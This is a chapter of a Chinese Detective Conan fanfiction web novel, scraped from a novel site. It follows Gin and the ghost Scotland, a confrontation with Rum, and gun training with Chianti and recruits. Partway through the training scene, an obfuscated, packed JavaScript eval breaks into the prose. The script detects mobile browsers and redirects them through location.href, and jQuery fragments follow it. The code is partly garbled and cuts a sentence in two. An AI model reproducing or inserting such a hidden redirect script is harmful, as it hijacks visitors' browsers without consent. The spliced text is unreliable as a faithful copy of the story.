风竹小说 > 都市言情 > 琴酒的阴湿鬼男友 > 13.Ch13. 暴雨前夜

13.Ch13. 暴雨前夜

    《琴酒的阴湿鬼男友》

    /系田

    翌日一早,琴酒没在客厅看见苏格兰的鬼影,他搜索一圈,最后,客卧橱柜上一层可疑的水膜引起他的注意。

    几滴水珠正顺着柜门缓缓下滑。

    琴酒勾唇一笑,大步流星过去。

    啪嗒——

    柜门打开,和煦的晨光被琴酒高大的身躯挡住。他低头,居高临下打量藏在柜子里的鬼魂苏格兰。

    苏格兰周遭萦绕水雾,双手环膝,蜷缩身体,犹如母亲子宫里孕育的婴儿,是最具安全感的姿势。

    琴酒眉头一挑,“你躲在这儿干什么?”

    苏格兰埋首于膝,闷声闷气说:“不用你管。”

    苏格兰丧气的模样看得琴酒眉头紧蹙,他故意出声嘲讽:“怎么,知道自己生前的真面目,受不了了?”

    这话像溅入油桶的火星,一下点燃苏格兰胸中怒火。他猛地抬头,恶狠狠瞪着琴酒,周身散发出强大灵能,让整个橱柜随之晃动,柜门嘎吱作响,上面水珠瞬间凝结成霜。

    这骇人一幕非但没能劝退琴酒,反而更激发他的掌控欲。琴酒跨前一步,不耐烦地直接伸手拽向苏格兰胳膊,“你给我出来!”

    谁知那手竟硬生生穿过苏格兰手臂,刺骨的寒冷直抵琴酒骨髓。他打个寒颤,怔愣的同时,无比清晰意识到自己没法用常规手段控制眼前这个男人(鬼)。

    这短暂的错愕给了苏格兰可乘之机,积攒的怒火和悲伤凝聚成团,像是拥有实体,朝琴酒猛攻过去!

    琴酒躲闪不及,被一下震出橱柜范围。他向后趔趄好几步,才勉强站稳。

    砰——

    一声震耳欲聋的噪音,那柜门在琴酒面前不留缝隙,狠狠合上。

    “……”

    琴酒脸色阴沉地盯着柜门,好半会儿,才“切”了声,转身离开。

    *

    琴酒如常上班,刚进组织,就被叫去朗姆办公室。

    推门而入的瞬间,摄像机红点照上他脸,耳边响起冰冷的女性机械音。

    『环境锚点验证中,请保持姿态。』

    琴酒脚步不停,没听见般径直走向办公桌。

    “验证失败,人员变更:1名。”

    他在办公桌前站定,没朝电脑方向看一眼,只盯着真皮座椅里的朗姆,一脸冷漠问:“什么验证失败?”

    朗姆把琴酒刚才的反应尽收眼底——太自然了,仿佛压根儿没意识到这是种试探。

    他不动声色笑笑:“没事,就是点小把戏。”说着,目光像冰冷的解剖刀划过琴酒脸庞,“倒是你黑泽,脸色这么差,昨晚做贼去了?”

    闻言,琴酒漫不经心对朗姆投去一瞥。这一瞥暗含警告,两人一站一坐,琴酒又身材高大,一时间,朗姆竟产生自己身处弱势的错觉。

    他压下这种忌惮,清清嗓子:“只是开个玩笑。”随后身体前倾,十指交叉,语气也沉下来,“先说正事——”

    “昨晚,有人入侵了我的办公室。”

    琴酒不搭腔,自顾自走向一旁的土黄色真皮沙发。他撩起风衣下摆落座,翘起长腿,从口袋摸出根烟,夹在指尖点燃。

    呼——

    他放到唇边轻吸一口,淡薄的烟雾升起,在两人间形成屏障。

    朗姆暗藏玄机的陈述从烟雾的另一边传来:

    “对方手法娴熟,对我的办公室位置和习惯都了如指掌。我觉得是内部人员所为,你怎么看?”

    琴酒唇角扬起抹意味不明的笑,掸掸烟灰,才抬起头,锐利的目光像钉子直射朗姆的脸。

    “凭你和我的关系,该不会找我倾诉。所以,你怀疑是我干的?”

    这话像把手术刀,瞬间划破两人间虚伪的和谐。

    朗姆脸色一僵,唇边的假笑也无法维系。

    没想到琴酒居然这么直白。

    他还在想该如何回答,沙发上的琴酒却后背靠在沙发上,姿态比刚才更松弛,“那么我倒想请问,朗姆,你这儿有什么东西值得我大费周章?”

    “……”

    琴酒橄榄绿的眼里闪烁着愉悦的恶意:

    “不过——我很喜欢你现在这种疑神疑鬼的样子。你有多久没担心过下面的人会爬上来,取你而代之?”

    “没事多想想,变得更年轻,才配得上你那个‘小情人’。”

    “小情人”三个字像根毒刺,精准地扎进朗姆最不愿被人提及的领域。

    他瞳孔骤然一缩,指节捏得发白,手背青筋暴起,刚准备发难,琴酒却没给他爆发的机会。

    琴酒利落起身,把还在燃烧的烟头捻灭在朗姆桌上那个昂贵的黄铜烟灰缸里——

    “干活去了。”

    他转身走向门口,黑色风衣下摆划开凝滞的空气,背影挺拔得不留一丝破绽。

    手搭上门把时,琴酒像猛然想起什么,回头对阴影里的朗姆说:“有需要再联系。”

    ……

    朗姆的办公室里一片死寂,唯独电脑屏幕上『验证失败』四个字格外刺眼。

    他把视线转向茶几上烟灰缸里那根孤零零的烟,咬牙切齿道:“黑泽阵——胆敢挑衅我,我一定让你付出应有的代价。”

    *

    虽然让朗姆吃了憋,琴酒早上被苏格兰影响的心情却远没有好转。他正在训练那批毫无希望的新人。

    他用网球做靶,训练兔崽子们的手感,但能打中的只有曾是体育生的仲原一人,其余人都被网球耍得体无完肤。

    额头、脸颊,躯干,甚至男人的关键部位被狠狠抽打。

    “啊,啊——”

    “痛、痛死我了。”

    此起彼伏的惨叫响彻整个射击场。

    “好了,先休息十五分钟。”琴酒面无表情命令。

    话音刚落,基安蒂踩着皮靴,节奏轻快地走进射击场地。

    她环顾四周,没找到要找的宾加,只看见一群躺在地上,肚皮朝天的丧家犬。

    “啧。”

    她走到琴酒身边,“听说宾加连续预定了一个月的射击场练习,我专程来找他比试,他人呢?”

    “他不会来,真正用场地的是我。”

    琴酒言简意赅说了前一天和宾加的赌约。

    基安蒂扼腕叹息:“可惜没亲眼看见宾加落败的蠢样,不过,你怎么不让我帮忙预订?”

    不等琴酒回答,基安蒂又幸灾乐祸地扬唇笑起来:“噢,我知道了。你是不想让昔日下属看到你狼狈的样子吧?”

    琴酒冷冷睨她,视线在她皓白的手腕停留一瞬。基安蒂见状,立刻会意:“你以为我把你的话当耳旁风?我有在好好练。但在手上戴沙包的主意太土,我就在手镯里加了铅块,你看。”

    说着,基安蒂脱下铆钉手镯就往琴酒手里递,琴酒稍一掂量,随手放在消防箱上,朝场中央走去。

    “……什么嘛,一句表扬都没有?”

    基安蒂不满地撇撇嘴,也提步跟上,见琴酒要让那群新人恢复训练,一马当先超过他冲到前面。

    “我好不容易来一趟,先让我练两把再说。”

    她捡起两把新人随手丢在地上的枪,走进场内,把发球机时速调到最高。

    机械的嗡鸣声陡然变大。

    基安蒂背对发射机,双手自然垂在身侧。

    “咻!”第一颗球射出!

    她甚至没转身,仅凭声音判断,右手闪电般抬起。

    “砰!”

    黄球在空中炸成碎片。

    几乎同时,左手枪响——“砰!”第二颗球碎裂。

    “咻咻咻——!”发射机进入连发模式,三颗球同时射出!

    基安蒂终于转身,动作依旧从容,两把枪在她身前交错成一道黑叉。

    “砰砰砰!”

    三声重叠的枪响,所有球同时化为齑粉。

    新人们看傻了眼。

    这幅场景极大程度取悦了基安蒂的虚荣心。她志得意满笑着,直到琴酒走过来卸了她的枪。

    “爽了?爽完就赶紧走,别在这儿碍手碍脚。”

    “切。”

    她充耳不闻走到场中央,装模作样朝新人训话:“这个叫琴酒的家伙枪法确实拔尖,但不怎么会教人。你们啊——最好做足心理准备。”

    听到这话的新人个个面如土色,被埋汰

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17048042|194016||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    的琴酒却不甚在意,等基安蒂走远,又板着脸对还在大喘气的新人们说:“愣着干什么?赶紧爬起来继续练!”

    ……

    射击训练结束,大家身上都酸痛不已,更有甚者青一块紫一块,走路稍微碰到都会嗷嗷大叫。

    这天晚些时候,几个新人在办公室外等琴酒出来,一见到人却扭扭捏捏,互相推搡着,没人开口。

    琴酒大概猜到他们的来意,不动声色问:“怎么了?”

    迫于面前强大的气场和眼神,其中一个支支吾吾道:“呃,黑泽先生,明天我们的训练能不能……能不能减……”

    最重要的“轻”字还没出口,琴酒眼睛一眯,对方顿时吓得说不出话。

    琴酒看笑了:“想得到代号,就要会开枪自卫。连这都嫌累,还不如趁早断了心思给我滚。”

    有三个人当场选择脱退,其余几个则不敢反驳,逃也似地跑了。

    琴酒蔑视他们的背影,隔一段距离,横田犹犹豫豫站在那儿。

    琴酒郁气未散,快步走上去,问也不问一句说:“你也是来求饶的?”

    横田吓了一跳,在原地愣好几秒,才反应过来连连摆手:“不,不是。我就是……”

    “有话直说!”

    “……是!听说昨天,我和您一起处理了宾加大人的伤口。但我完全不记得,只觉得当时像被魇着了浑身发冷,头也晕晕的。他们说我可能被鬼上身了。”

    琴酒眉头紧皱,“说重点。”

    “……我主要怕黑泽先生因此对我抱什么不切实际的期待,所以……”

    琴酒嘲讽的笑又爬回嘴角,“说了这么多,还不是发表‘无责任声明’?在做一件事之前,就预设自己做不好……”

    谁知,听到这话的横田猛然抬头反驳:“不是的!虽然现在的我还不行,但我会加倍努力,只是想请您多等一会儿。”

    “对!”

    他憋得满脸通红,小狗似的茶色瞳仁灼灼凝望琴酒,里面燃烧着团火,是执拗、天真,还有率直。

    琴酒不合时宜地想起苏格兰,那个口口声声阻挠他杀人,以为自己代表正义,却在得知真相后陷入绝望的男鬼。

    “蠢货。”他暗骂一声。

    “什、什么?”

    琴酒回过神,瞥横田一眼,“想得到,光努力可不够。”

    扔下这句话,琴酒三步并两步离开,黑色风衣在低空划一道圆弧,匆匆的背影像是着急去找什么人。

    *

    琴酒回到公寓,没先搜索苏格兰的所在。他脱了外套,点燃根香,这才若无其事地走向客卧橱柜。

    按他的推测,苏格兰没那么快从自厌的泥淖里脱出来。

    “喂,你考虑得怎么样了?”

    他边说边开门,明亮的光被挡在身后,柜子里水汽氤氲。片刻,等阴影散开,琴酒看到里面躺着件他的衬衫,皱巴巴的,像是曾被谁用力抱进怀里。

    那个讨人厌的苏格兰却不见了。

    “……”

    琴酒面无表情“砰”地关上柜门。他随手把香炉扔到客厅的茶几上,抱着胳膊坐进沙发。

    无人品尝的香兀自燃烧,随着橘红的火星,越烧越短。

    琴酒脑海中浮现诸多和苏格兰相处的画面。

    『不管怎么样,你都不该杀人。』

    『你能不能听人把话说完!如果不是我,你会受伤的。』

    乌丸办公室爆裂的马克杯,深夜在走廊被二次引开的朗姆……

    『所以这是不是代表,朗姆和我之间,你更倾向于我?』

    所有一切融合成琴酒早晨出门前,苏格兰蜷缩在橱柜里那个脆弱的侧影。

    香炉的香燃到最后,橘红熄灭,只剩满地灰白。

    这时,窗外划过一道闪电,照亮琴酒阴沉的脸。

    轰隆——

    天空像被划开道口子,滂沱大雨瞬间倾泻而下。

    砰砰砰砰——

    豆大的雨滴狠狠拍打窗户。

    久违的失控感袭来。

    “该死!”

    琴酒猛地从沙发起身,拿过玄关边的长柄黑雨伞,夺门而出。